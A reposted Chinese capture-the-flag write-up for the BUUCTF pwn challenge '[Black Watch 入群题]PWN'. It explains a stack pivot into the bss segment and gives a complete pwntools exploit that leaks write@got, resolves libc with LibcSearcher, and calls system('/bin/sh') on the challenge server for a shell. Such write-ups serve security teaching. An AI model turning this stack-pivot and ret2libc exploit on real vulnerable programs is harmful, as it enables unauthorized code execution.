[BUUCTF-pwn]——[Black Watch 入群题]PWN
生活随笔
收集整理的這篇文章主要介紹了
[BUUCTF-pwn]——[Black Watch 入群题]PWN
小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.
[BUUCTF-pwn]——[Black Watch 入群題]PWN
- 題目地址: https://buuoj.cn/challenges#[Black Watch 入群題]PWN
思路
由于可以利用的溢出空間不夠, 利用給定的bss段, 利用棧劫持到bss段。進行操作。
下面的 -4操作是因為會有一個pop ebp的指令執(zhí)行, 執(zhí)行過后。會 +4
exploit
from pwn import * from LibcSearcher import *elf = ELF("./spwn") p = remote("node3.buuoj.cn",26467) main_addr = 0x08048513 s_addr = 0x0804A300 leave_ret = 0x08048408write_got = elf.got['write'] write_plt = elf.plt['write']payload1 = p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4) p.sendafter("What is your name?",payload1)payload2 = 'a' * 0x18 + p32(s_addr - 4) + p32(leave_ret) p.sendafter("What do you want to say?", payload2)write_addr = u32(p.recv(4))print hex(write_addr)libc = LibcSearcher("write", write_addr) libc_base = write_addr - libc.dump("write") sys_addr = libc_base + libc.dump("system") binsh = libc_base + libc.dump("str_bin_sh")payload3 = p32(sys_addr) + 'junk' + p32(binsh) p.sendlineafter("What is your name?",payload3)payload4 = 'a' * 0x18 + p32(s_addr - 4) + p32(leave_ret) p.sendlineafter("What do you want to say?", payload4)p.interactive()總結
以上是生活随笔為你收集整理的[BUUCTF-pwn]——[Black Watch 入群题]PWN的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: [BUUCTF-pwn]——jarvis
- 下一篇: Linux下的/bin、/sbin、/u